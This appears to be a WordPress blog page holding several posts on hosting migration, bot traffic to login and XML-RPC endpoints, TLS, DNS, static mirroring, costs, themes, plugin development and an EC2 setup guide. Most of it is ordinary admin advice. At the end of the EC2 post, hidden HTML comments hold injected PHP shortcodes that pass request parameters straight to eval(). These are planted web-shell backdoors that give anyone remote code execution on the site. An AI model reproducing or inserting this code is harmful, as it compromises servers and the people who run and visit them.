Categories
Software Engineering Tutorial

I Moved My WordPress Blog Off Bluehost – Why Bots Love wp-login.php, and How a Static Mirror Helps

I Finally Moved This WordPress Blog Off Cheap Shared Hosting

I ran this blog on Bluehost-style shared hosting for years. It worked. It was also kind of a pain. In October 2026 I moved it to a server I already pay for, and I want to write down the practical stuff I actually ran into, not a sales pitch for a host.

This is a guide to the parts a lot of “just copy WordPress” posts skip:

  • Why bots will not stop poking WordPress, even on a small personal blog
  • How to move the site without breaking HTTPS or email
  • Why a few dozen posts turn into hundreds of archive and feed URLs
  • How to keep WordPress itself private and still serve the same URLs from a static copy and a CDN
  • How I post now with wp-cli and an AI agent, as a draft I still review

If you have a WordPress blog on cheap shared hosting and you have been meaning to leave, this is the post I wish I had.

Why Did I Leave Shared Hosting?

Shared hosting is fine until you want more control. I wanted SSH that I actually own, a normal wp-cli workflow, and the option to take WordPress off the public internet later.

There is also a security reason that is not hype. WordPress’s own hardening guide is pretty direct about shared servers: if another site on the same machine gets compromised, yours can too. You do not control the neighbors. On a server I run, I at least control the software, the firewall, and what is allowed to face the world.

And honestly, I was already paying for the server. Keeping Bluehost just to hold this blog started to feel silly.

Why Do Bots Keep Hitting wp-login.php?

Because WordPress is everywhere, and the login form always lives at the same path. wp-login.php is not a secret. /wp-admin/ just sends you there. Bots do not need to “find” your blog in a clever way. They try the same URLs on every hostname they can get their hands on.

WordPress.org documents this in Brute Force Attacks. The usual targets are:

  • wp-login.php, password guessing
  • xmlrpc.php, especially if you leave XML-RPC on when you do not need it (Jetpack and the official mobile app are reasons you might still need it)
  • /wp-json/, the REST API
  • old plugin and theme file paths, in case you are running something outdated

The docs also say that hiding the login URL can cut down noise, but it should not be your only defense. I agree. A bot that already has a list of WordPress paths does not care what you renamed the login page to if xmlrpc.php is still sitting there.

WordPress.org Brute Force Attacks documentation, listing key defenses for login and XML-RPC

This is not theoretical for me. I looked at one day of access logs from the old shared host, dated October 7, 2026. I counted request paths only, no visitor details. Out of 588 requests that day:

  • 198 hit xmlrpc.php (almost all of them POST)
  • 27 hit /wp-includes/
  • 11 hit /wp-content/plugins/
  • 8 hit /wp-json/
  • 7 hit /wp-admin/

That is about a third of the day’s traffic going to xmlrpc.php alone, on a quiet personal blog. I left wp-cron.php out of that list (83 POSTs) because WordPress often calls that itself.

Bar chart of WordPress paths from one day of shared hosting logs on October 7, 2026, with 198 requests to xmlrpc.php

So what can you realistically do?

  • Keep WordPress, themes, and plugins updated. Official updates exist for a reason.
  • Use a strong, unique password, and turn on two-factor authentication for admin accounts. WordPress core does not include 2FA, so that is a plugin or your identity provider, which is also what the brute force guide says.
  • If you do not need XML-RPC, disable it. If you do, rate-limit it.
  • Rate-limit wp-login.php at the server or at a WAF, if you still have to expose it.

All of that helps. The more complete answer, if your public site is basically a blog, is: stop exposing live WordPress to the public internet at all. Serve a static copy at the same URLs, and keep the real WordPress install private. I will get to that.

How Do I Actually Move the Site?

Here is the short version of what I did. I am leaving out hostnames, IPs, usernames, and database names on purpose.

  1. Take a real backup, not just “I have some posts in my email.” I copied the WordPress files, dumped the database, and also ran wp export for a portable copy of the content.
  2. Restore it on the new server with a new database and a new database user. Change the password. If you use wp-cli, wp config shuffle-salts is a good idea so the old cookies and keys are useless.
  3. Turn off host-specific plugins. Shared hosts love to drop in their own plugin and a must-use page cache. Those will not help you on the new machine, and they can get in the way.
  4. Test before you touch public DNS. A hosts-file override or a temporary hostname is enough to click through the site, log in, and look for broken media or weird permalinks.
  5. Put HTTPS on the new server, then cut DNS over. Email is its own step, below.

wp-cli is the right tool for a lot of this. The official site is wp-cli.org.

The official WP-CLI website, describing the command line interface for WordPress

Example wp-cli commands for exporting a site, flushing rewrites, and creating a draft post

After the files and database are in place I run wp rewrite flush and wp cache flush. If the test URL is different from the real domain, wp search-replace is how you retarget the stored URLs. Do a --dry-run first.

What About HTTPS?

On shared hosting, HTTPS is usually a checkbox. On your own server, you get to do it yourself, which is less scary than it sounds.

Let’s Encrypt issues free certificates through an automated API. They recommend running an ACME client, and for most people that client is Certbot.

Let's Encrypt getting started page, explaining ACME clients and Certbot

The official Certbot website from the Electronic Frontier Foundation

The usual path with Apache looks like this:

sudo certbot --apache

If your DNS already points at the new server, Certbot can prove you control the domain with an HTTP challenge and install the certificate. If you need the certificate before the cutover, use a DNS challenge instead.

Then turn on auto-renewal (Certbot usually installs a timer or a cron job when you install it the recommended way) and test it:

sudo certbot renew --dry-run

I actually do that dry run. Certificates expire. A blog that randomly becomes “your connection is not private” is a bad time.

How Do I Cut Over DNS Without Breaking Email?

This is the one that makes people nervous, and it should. Your domain is not one record. The website is usually an A record (and an AAAA record if you have IPv6), plus maybe a CNAME for www. Email is a completely different set of records: MX, and often TXT records for SPF, DKIM, and DMARC.

I only changed the web records. I left the MX and mail-related TXT records alone.

Diagram of a DNS cutover: change A and AAAA records for the website, leave MX and mail TXT records alone

A few habits that helped:

  • Lower the TTL on the A and AAAA records a day or two before the move, so the change does not linger for 24 hours.
  • Flip those records to the new server, wait, and then confirm the site is serving from the new place over HTTPS.
  • Send yourself a test email, to and from the domain, before you celebrate.
  • Read the MX records once with fresh eyes. A typo in an MX hostname can sit there quietly and drop mail, and it has nothing to do with the website.

Do not let a “migrate my WordPress site” checklist talk you into replacing the whole DNS zone.

Why Does WordPress Make Hundreds of Pages From 43 Posts?

This one surprised me, and I have been using WordPress for a long time.

When I inventoried this blog during the move, I had 43 published posts. WordPress had turned those into about 509 HTML pages and about 900 URLs in total, including 384 feeds and 5 sitemaps. The URLs were clean permalinks. The only query-string URLs were search (?s=).

Diagram showing how 43 published posts became about 509 HTML pages, 384 feeds, and about 900 URLs

The 43 posts are just the articles. WordPress also builds:

  • Category archives, and extra pages when a category has more than one page of posts
  • Tag archives (I have a lot of tags, so this is a big one)
  • Date archives, by year and by month
  • An author archive
  • Attachment pages for images
  • The home page, pagination, and a few utility pages

And then it hangs a feed off almost all of that. The official WordPress Feeds docs describe the built-in ones: RSS 2.0, RSS 0.92, RDF/RSS 1.0, Atom, a site-wide comments feed, and a comments feed on each post. Categories, tags, and authors get feeds too. Date archives get them as well.

If you have a lot of tags, the feed count gets silly in a hurry. That is how you end up with hundreds of feeds on a blog that does not feel “big.”

WordPress.org Feeds documentation describing the built-in RSS and Atom feed types

If you move off WordPress later, or you publish a static copy, this is the list you have to keep if you care about old URLs. Search engines and old links do not only point at /hello-world/.

Which Feeds Actually Matter for SEO?

Most of them do not.

Google Search Central is pretty clear about the split. An XML sitemap is for the whole set of URLs on the site. An RSS or Atom feed is for recent changes. They recommend using both. They also say that submitting a sitemap or a feed does not guarantee indexing.

Google Search Central blog post on best practices for XML sitemaps and RSS or Atom feeds

Their later sitemap documentation says the same thing in a shorter way: if your CMS already makes an RSS or Atom feed, you can submit that feed as a sitemap, but it will only cover recent URLs. The XML sitemap is still how you show Google the full site.

Google Search Central documentation on building and submitting a sitemap

So, in practice:

  • Keep a real XML sitemap, and mention it in robots.txt.
  • Keep the main site feed at /feed/ (Atom at /feed/atom/ is fine too). That is the useful “something new was published” signal.
  • You do not need a feed for every tag, category, author, month, and post comments thread in order to rank. Those exist because WordPress generates them, not because Google asked for 384 of them.

I still keep those extra feed URLs working, so I do not create a pile of 404s. I just do not treat them as SEO work.

How Do I Keep WordPress Private and Still Serve the Blog?

This is the setup I wanted once the site was on a server I control.

WordPress stays the source of truth. I write and edit there. The public site is a static mirror: a generated copy of every public URL, served from a CDN, with the same paths as before. /some-post/ is still /some-post/. /tag/php/ is still /tag/php/. /feed/ is still /feed/.

What the public copy does not include is the live WordPress runtime. No wp-login.php, no xmlrpc.php, no /wp-json/, no plugin PHP. A bot that requests those on the public hostname gets a static 404 (or whatever you choose to serve), not a login form and not a REST API index.

Diagram of a private WordPress install with a public static copy served from a CDN at the same URLs

The build is straightforward in spirit:

  1. Collect every public URL you care about (sitemaps, post and page permalinks, archives, feeds).
  2. Fetch those URLs and write static files, including index.html for slash URLs.
  3. Copy static assets (uploads, CSS, JS, fonts). Do not copy PHP, wp-config.php, or anything in wp-admin.
  4. Publish that tree to object storage or a CDN, at the same URL paths.
  5. Rebuild when a post changes.

I tested this on a preview hostname first and compared pages against live WordPress: status codes, titles, images, feeds, and sitemaps. I also made sure search-shaped URLs (?s=) and the WordPress endpoints were not required for the public site to make sense. I do not need comments on this blog, which makes the static copy a lot simpler.

This is also the first setup that actually answers the bot question. Rate limits help when WordPress is public. If WordPress is not public, the bots are just requesting files that are not there.

What Does This Actually Cost?

I did not move for a giant refund. I moved because I already pay for a server that hosts other projects, and I wanted WordPress off cheap shared hosting. Still, the prices are worth putting next to each other, because the “cheap” shared plan is not always the cheap option once it renews.

These are published list prices I checked in November 2026. They can change, they usually exclude tax, and they are not my actual bills. I am not going to invent a traffic number for this blog and pretend it is a receipt. Where I do the math on a small blog, I will label it as an example.

Cost comparison as of November 2026 for Bluehost Shared Starter, AWS Lightsail, EC2 t3.micro, an existing server, and a static S3 plus CloudFront mirror

Here is the same comparison in plain text, so it still works if the image does not load.

  • Bluehost Shared Starter: $3.99/mo intro on a 36-month term, then $9.99/mo at 36-month renewal. The plan they list for a simple website or blog. VAT and GST are not included.
  • AWS Lightsail, Linux, with a public IPv4 address: $5/mo for the smallest bundle, with 0.5 GB memory, 2 vCPUs, 20 GB SSD, 1 TB transfer, and a static IP in the bundle.
  • Amazon EC2 t3.micro, Linux, US East (N. Virginia): $0.0104 per hour, about $7.59 if it runs 730 hours in a month. Compute only. Disk is extra, and an in-use public IPv4 address is $0.005 per hour.
  • A server you already pay for: no new server bill for the blog itself. This is my situation. The blog shares a machine I already use for other work.
  • Static mirror (S3, CloudFront, Route 53, Let’s Encrypt): about $0.50/mo in a small-blog example, or less. Storage and DNS are cheap at this size. Transfer often fits in CloudFront’s always-free allowance. Certificates are free.

Shared hosting. On the official Bluehost pricing page, Shared Starter is listed at $3.99 per month as an introductory rate “for 36 month term,” and the same card says it renews at $9.99 per month. That is the plan they describe as “made for a simple website or blog.” Business is $6.99 intro and $13.99 at renewal, on the same 36-month term. Those cards also say VAT and GST are not included. Bluehost has a separate renewal price FAQ (last updated February 11, 2026) with other renewal terms, including $15.99 per month if you renew Starter month to month, and $11.99 per month on a 12-month renewal. The number that matters for a long stay is the renewal price, not the intro teaser.

A self-managed server. If you are starting from zero and you just want a small Linux box, Amazon Lightsail is the straightforward published price. The smallest Linux/Unix bundle with a public IPv4 address is $5 per month, and it includes 0.5 GB of memory, 2 vCPUs, 20 GB of SSD, and 1 TB of transfer. The next size up is $7 per month with 1 GB of memory. There is also an IPv6-only bundle that starts at $3.50 per month if you do not need IPv4.

Amazon Lightsail pricing page showing Linux bundles with a public IPv4 address, starting at 5 US dollars per month

Amazon EC2 is more of an a la carte bill. A t3.micro on Linux in US East (N. Virginia) is $0.0104 per hour. If it runs all month, that is about $7.59 (I multiplied the published hourly rate by 730 hours). A t3.small is $0.0209 per hour, or about $15.26 the same way. That is only the instance. You also pay for disk, and AWS bills $0.005 per hour for an in-use public IPv4 address on the Amazon VPC pricing page, which is about $3.65 a month if you keep one attached. Lightsail’s $5 bundle is usually easier to reason about than stacking those EC2 line items.

In my case I did not buy a new box just for this blog. I already pay for a server that hosts other projects, so the extra cost of putting WordPress on it is basically the time to set it up, not a second VPS invoice.

The static mirror. This is the cheap one at small scale, as long as you stay honest about the math.

  • Amazon S3 Standard storage in US East (N. Virginia) is $0.023 per GB-month for the first 50 TB. PUT, COPY, POST, or LIST requests are $0.005 per 1,000. GET and other requests are $0.004 per 10,000. Data transferred from S3 to CloudFront is not charged as S3 data transfer out.
  • Amazon CloudFront still publishes an always-free allowance of 1 TB of data transfer out and 10 million HTTP or HTTPS requests per month on the AWS Free Tier networking page. CloudFront also has a $0 per month Free flat-rate plan that includes 1 million requests, 100 GB of transfer, 5 GB of S3 storage credits, and Route 53 DNS, with no overage charges, though it is a different product from the always-free pay-as-you-go allowance.
  • Amazon Route 53 is $0.50 per hosted zone per month for the first 25 hosted zones. Standard queries are $0.40 per million. Alias records pointed at CloudFront do not add a query charge.
  • Let’s Encrypt certificates are free.

AWS Free Tier networking page listing CloudFront always-free allowances of 1 TB of data transfer out and 10 million HTTP or HTTPS requests

A labeled example, not a bill: say a small blog stores 1 GB in S3 and, in a month, serves 20 GB and 50,000 requests through CloudFront. The storage would be about $0.023. The transfer and requests would fit inside CloudFront’s always-free allowance. The Route 53 hosted zone would be $0.50, unless you already pay for that zone or you use the $0 CloudFront flat-rate plan that includes DNS. Let’s Encrypt is $0. The example total is about $0.52 a month, or close to $0.02 if the hosted zone is already on the account. That is an illustration for a quiet site. A huge traffic spike, a lot of images, or a region with different rates would change it.

The useful comparison, for me, is this. After the intro period, a Bluehost Starter plan is $9.99 a month on the 36-month renewal. A small Lightsail box is $5 a month if you need a new server. If you already have a server, the blog may add nothing to that bill. And once the public site is a static copy, S3 plus CloudFront plus DNS can sit well under a dollar a month at small-blog size, with a free certificate.

How Do I Post With wp-cli and an AI Agent?

Once WordPress is just software on a server, you do not have to click through wp-admin to publish. WP-CLI can create posts, set categories and tags, attach a featured image, and leave the thing as a draft.

That is what I have an AI agent do. It writes the draft with wp post create --post_status=draft. I review it. If it looks good, it goes live, and then the static mirror gets rebuilt so the public URLs update.

I will not auto-publish a post I have not read. Drafts exist for a reason. But I also will not go back to FTPing a theme file and pasting HTML into the block editor at midnight if I can type “write a draft about X” and then actually edit it.

The nice loop looks like this:

  1. AI agent creates a draft through wp-cli
  2. I review it on the private WordPress install
  3. The post is published
  4. The static mirror rebuilds
  5. The CDN serves the new page at the same old URL

That is the whole point of moving off shared hosting, for me. Not a slightly faster TTFB. A workflow I can run with tools I already use, without leaving a WordPress login form on the public internet all day.

Did You Really Not Click the Link Yet?

If you only open one official page, make it Hardening WordPress. Then read the brute force page, grab a certificate from Let’s Encrypt with Certbot, and bookmark WP-CLI. Google’s notes on sitemaps and RSS or Atom feeds are worth a pass too.

And if you have been putting off leaving shared hosting, start with a backup and a test restore. The DNS flip is the scary five minutes. The rest is just being careful with MX records and not exposing more WordPress than you need to.

Categories
Create A Blog Software Engineering

WordPress TwentyTwenty Theme vs. Other WordPress Themes

Why WordPress TwentyTwenty Is Still the Best Default WordPress Theme in 2022

WordPress TwentyTwenty Theme: A Review

As a long-time WordPress user, I have had the opportunity to try out a wide variety of themes over the years. From the sleek and modern to the downright quirky, I’ve seen it all. But recently, I had the chance to try out the all the latest WordPress themes and in the end I picked on: TwentyTwenty. And I have to say, I liked it. I liked it enough I chose it for this blog!

I know it is the theme from 2020 and this article is from 2022, but let’s talk a little about the simplicity of the theme, why 2020 was a standout year for mobile first design, and how that ended up impacting the quality of TwentyTwenty on a technical level.

Why is TwentyTwenty a Standout Theme?

The typeface choices and mobile-centric design of the WordPress TwentyTwenty theme are the first year the theme was so simplistic that the text was front and center. It makes for a great blog. The background color not being a hard white also helps it go easy on the eyes, a trend with darkmode and things that were really made popular in 2020.

Is the TwentyTwenty Theme Easy to Use?

First and foremost, the TwentyTwenty theme is incredibly user-friendly. Setting it up on my WordPress site was a breeze, and I was able to customize it to my liking easily. The default color scheme looks nice. Additionally, the theme is fully responsive, which means that it looks great on any device, from desktop computers to smartphones.

But don’t let the ease of use fool you – the TwentyTwenty theme is packed with powerful features that make it a great choice for any website. For starters, the theme offers a wide range of customization options. From changing the layout of your site to adjusting the font and color scheme, there’s almost nothing you can’t change with this theme. Additionally, the theme includes a variety of built-in widgets that make it easy to add extra functionality to your site, such as social media buttons, search bars, and more.

Why Is It Superior?

One of the standout features of the TwentyTwenty theme is its support for block-based editing. With this feature, you can easily create beautiful, complex layouts for your website without any coding knowledge. Simply add blocks for text, images, videos, and more, and then arrange them however you like. This makes it easy to create unique and engaging content for your site, and the results are truly impressive.

Most WordPress themes support this but the TwentyTwenty theme was the first year that the simplicity of the design really allowed the block editing to stand out and shine. If the design is simple and straightforward the blocks always work well.

Choosing a Default WordPress Theme Has Perks

Another great thing about the TwentyTwenty theme is its support for a wide range of plugins. Whether you want to add an e-commerce store to your site, a contact form, or a social media feed, you can easily do so with the help of a plugin. This means that you can add almost any type of functionality to your site, without the need for any technical knowledge. The simplicity of the design means most plugins will look OK out of the box.

What Makes This Different Than Other Themes?

Very specifically in 2020 the TwentyTwenty theme was the first theme that did an excellent job stripping down the WordPress block components into big, bold, simple design elements. This was because of a focus on mobile but it ended up making the theme a lot less complex than TwentyNineteen or TwentySeventeen, (both popular themes). The TwentyTwentyone and TwentyTwentytwo themes both expanded on the original Twentytwenty design concepts, offering alternate layouts and ultimately in 2022 a lot more complexity reminiscent of the 2019 theme.

Any Downsides or Negative Things About TwentyTwenty?

There are a few things that are a little weird. For example the default site title does not include the site title written in text, I had to add that ,it was just trying to use the image logo. Strange. I also thought that the index page was a little intense. I ended up toning down the title font size and rearranging things on the title page to make all the articles fit a little bit better. I recommend turning on using article summaries or your homepage will become a massively long scroll.

TwentyTwenty Theme: Is It Worth It?

Overall, I was extremely impressed with the WordPress TwentyTwenty theme. It’s user-friendly, customizable, and packed with powerful features. Whether you’re a beginner or a seasoned pro, I highly recommend giving it a try.

Categories
Create A Blog Software Engineering

SUCCESS! Old WordPress Articles Are on the New WordPress Blog!

Just as the title describes I managed to import all of the old WordPress articles in to the new WordPress blog! This is great news because Google had been annoying me with emails about how I was missing the articles. They must have been really popular!

How Did I Do It ???

All I had from the previous blog was a MySQL dump of the database. This made it a little difficult because I couldn’t see a visual reference of the old blog. I ended up importing the old database dump in to a new database on the same MySQL database server.

After that I wrote a custom PHP script which connected to the old database (made from the dump) that then selected any published posts and looped through to gather their categories and tags then inserted them in to the new blog’s database. I think it went pretty well!

If I get some requests for it I can post my PHP script on Github but I think there are probably more useful tools out there for backing up and exporting a WordPress blog it was just quick and easy for me to make a script. I highly recommend using the explicit Export and Import feature already built in to WordPress

Categories
Create A Blog

WordPress Themes – Testing New Themes & Pardon the Mess

As part of moving this blog and setting it up again I’m testing various WordPress themes. Please pardon the mess and the visual intensity as I adjust a few things.

Review of PopularFX Website Templates WordPress Themes

I initially started with the base selection offered by default to a new Bluehost hosting account and selected a very nice WordPress theme and from the “PopularFX Website Templates” plugin.

The PopularFX Website Templates does have some very nice WordPress themes and a lot of them are structured to fit specific small business or small website verticals and that could be really helpful for a lot of people. I also enjoyed how those themes used some really nice improvements on the content blocks for things like the WordPress index page.

The WordPress theme I chose also prompted me to download some temporary stock photos to fill out the design and it has some warnings about the licensing of the images it wanted to download. I didn’t want those images so I chose not to download the stock photos and images. The theme I chose looked *really* nice in the sample but ended up being very plain when I tested it and applied it to my website. That was a little disappointing that it did not look as good with fake stock graphics.

I also got in to the Theme Files editor for that particular PopularFX Website Template WordPress theme and I found that the PopularFX Website Templates theme files themselves were laid out in a very straightforward and clear file structure. The files themselves had simple naming convections and followed most of the best practices and common file locations. The more complex PHP functions and methods, including things like content tags, were easily found and edited and the code itself was concise.

I Didn’t Try Pagelayer

The new Bluehost WordPress hosting came bundled with a plugin called “Pagelayer” which I have not yet tried 🙁 Sorry Pagelayer. As a software engineer I prefer a more hands on approach to complex layouts for blog articles and pages so that I can control the HTML, Javascript, and CSS. I disabled the Pagelayer plugin.

I eventually wanted a more simple WordPress theme and started activating and deactivating the themes.

Activating, Deactivating, Changing or Switching WordPress Themes

It is very easy to change or switch themes in WordPress, go to “Appearance” and then click on “Themes”. Hover over any theme and click “Activate”.

Default WordPress Theme Review

I tried a number of different themes looking for something that would easily & tastefully fit a few of the existing WordPress posts I already have. I tried all of the default WordPress themes from “Twenty Fifteen” all the way up to “Twenty Twenty Three”

As of the time of writing this article I disabled PopularFX Website Templates and I have currently chosen the default WordPress theme of “Twenty Twenty” because I like the look of the <hr> and I also like how the <code> tag style looks inline. I am not a fan of how that style looks when broken up in blocks. The previous iteration of this blog used WordPress 2015 (yikes!) so I also have had good experience with the longevity of the built-in WordPress themes. Once I pick a permanent WordPress theme for this blog I probably will not want to change it for many years.

WordPress Themes and Better Styling of Code Blocks

I will probably be looking for a better CSS solution for WordPress themes with multi-line code blocks.

The Internet’s Original Under Construction GIF

If you are looking for the original “Under Construction” GIF from the early days of the Internet in the 1990’s here it is. The Original Under Construction GIF From the early Internet in the (the GIF of a person shoveling on a yellow sign):

Original Under Construction GIF, Animated Image ofRoad Sign of Person Shoveling

New WordPress Plugin is Live! Check out Domain Check

Just Launched a WordPress Plugin: Domain Check!

One of the reasons this blog has been lagging behind in awesome content is because its been building up a backlog of awesome content until this moment because Domain Check has launched! Domain Check is a WordPress plugin born of my own needs from years of working at web companies. You have no idea how complicated it gets when you have multiple, possibly hundreds of, domains and SSL certificates all coming up for renewal with various internal properties and clients and what’s parked and what shouldn’t be renewed… you get the idea. There’s no comprehensive tool out there for managing your domains within your WordPress admin, so Domain Check was created.

Domain Check Features

A quick overview of Domain Check is basically that you can have a quick display of all your domain names and SSL certificates and easily what’s coming up for renewal or expiration and make sure multiple people are getting alerts. Its a bit of a pain in the butt to set up multiple email alerts for expiration across multiple registrars and SSL certificate providers, especially when dealing with domains or certs provided by clients. Domain Check also keeps a list of what you’re searching so you can see you favorite domains that are available if you aren’t buying your domain name today.

Fresh Coupons and Coupon Codes Delivered Daily

One of the highlight features of Domain Check is the daily coupon delivery. No more searching for coupons and finding they don’t work or going to shady coupon sites searching for a deal. Every day the latest coupons and deals are updated a delivered directly to you. There is finally no excuse for not using coupons! (Something I am guilty of my admins have to remind me of all the time)

Domain Check is an Official WordPress.org Plugin

Yes, it is true, Domain Check is an official WordPress plugin! You can download the latest version from WordPress to manage all of your domains and SSL certificates and easily keep the latest version up-to-date. Use your WordPress blog as a dashboard for managing your domains and make sure

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>